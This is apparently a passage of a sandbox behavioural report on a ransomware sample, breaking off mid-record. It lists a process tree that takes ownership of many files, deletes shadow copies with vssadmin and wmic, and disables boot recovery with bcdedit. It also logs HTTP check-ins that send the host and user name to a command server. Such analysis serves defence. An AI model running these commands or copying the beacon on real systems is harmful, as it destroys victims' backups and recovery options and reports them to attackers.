                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5952
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                cacls "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5632
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  takeown /F "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4220
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "SettingsLocationTemplate2013.xsd" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5664
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      K9TOpZud.exe -accepteula "SettingsLocationTemplate2013.xsd" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5692
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5324
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6112
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          cacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6140
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            takeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5832
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "overlay.png" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5312
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  K9TOpZud.exe -accepteula "overlay.png" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5920
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4196
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.jfm""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5636
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      cacls "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.jfm" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5868
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        takeown /F "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.jfm"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5780
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "SmsInterceptStore.jfm" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5668
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              K9TOpZud.exe -accepteula "SmsInterceptStore.jfm" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5508
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5488
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\Settings\settings.dat""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5624
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  cacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\Settings\settings.dat" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5584
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    takeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\Settings\settings.dat"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6136
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "settings.dat" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6092
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        K9TOpZud.exe -accepteula "settings.dat" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5284
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5936
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\AppV\Setup\OfficeIntegrator.ps1""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5756
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            cacls "C:\Users\All Users\Microsoft\AppV\Setup\OfficeIntegrator.ps1" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5180
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              takeown /F "C:\Users\All Users\Microsoft\AppV\Setup\OfficeIntegrator.ps1"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5172
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "OfficeIntegrator.ps1" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5148
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  K9TOpZud.exe -accepteula "OfficeIntegrator.ps1" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6072
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5804
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6064
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      cacls "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5472
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        takeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5444
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "watermark.png" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4720
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            K9TOpZud.exe -accepteula "watermark.png" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2972
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5712
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd""
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5388
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                cacls "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd" /E /G Admin:F /C
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5168
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  takeown /F "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5576
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "SettingsLocationTemplate.xsd" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5440
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      K9TOpZud.exe -accepteula "SettingsLocationTemplate.xsd" -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5992
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5384
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\TlWF1x4P.bat"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4988
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\vssadmin.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        vssadmin Delete Shadows /All /Quiet
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Interacts with shadow copies
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4344
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wmic SHADOWCOPY DELETE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5032
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\bcdedit.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bcdedit /set {default} recoveryenabled No
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies boot configuration data using bcdedit
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5304
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\bcdedit.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bcdedit /set {default} bootstatuspolicy ignoreallfailures
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies boot configuration data using bcdedit
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5352
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        SCHTASKS /Delete /TN DSHCA /F
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5388
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\vssvc.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies service
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5020

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • flag-unknown
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        DNS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sec.timerz.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sec.timerz.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sec.timerz.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        IN A
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        199.59.242.150
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • flag-unknown
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        http://sec.timerz.org/addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=aGFMHIGmTZ0Lvhxd&phase=START
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        c7408dcd1b19833dc2208b3fbbba01fa3c456e91c82a0f4e65feb6ea50c9f350.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        199.59.242.150:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        GET /addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=aGFMHIGmTZ0Lvhxd&phase=START HTTP/1.0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Host: sec.timerz.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Keep-Alive: 300
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; Synapse)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Server: openresty
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Date: Thu, 08 Oct 2020 15:06:41 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_bTUvOKa2j5p749e2SAYM65be/0fZbf5ED4WT9Ze1LmClPI3cj5GRZsK2V0IppAE4U0AprePS0iAtRXTg5Lhmzw==
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • flag-unknown
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        http://sec.timerz.org/addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=aGFMHIGmTZ0Lvhxd&phase=[ALL]40D4690F4E1FBA0F
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        c7408dcd1b19833dc2208b3fbbba01fa3c456e91c82a0f4e65feb6ea50c9f350.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        199.59.242.150:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        GET /addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=aGFMHIGmTZ0Lvhxd&phase=[ALL]40D4690F4E1FBA0F HTTP/1.0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Host: sec.timerz.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Keep-Alive: 300
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        User-Agent: Mozilla/4.0 (compatible; Synapse)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Server: openresty
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Date: Thu, 08 Oct 2020 15:06:45 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_OIKL4ifQ2lQBqNlmuJoCwkwJbIrtWQzq93Q95k28xvD3oFZonnGopcSOG65IYE5f+vZ1fYBpzhFzT+taRkq0vA==
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • flag-unknown
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        http://sec.timerz.org/addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=aGFMHIGmTZ0Lvhxd&phase=40D4690F4E1FBA0F|5273|2GB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        c7408dcd1b19833dc2208b3fbbba01fa3c456e91c82a0f4e65feb6ea50c9f350.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        199.59.242.150:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Request
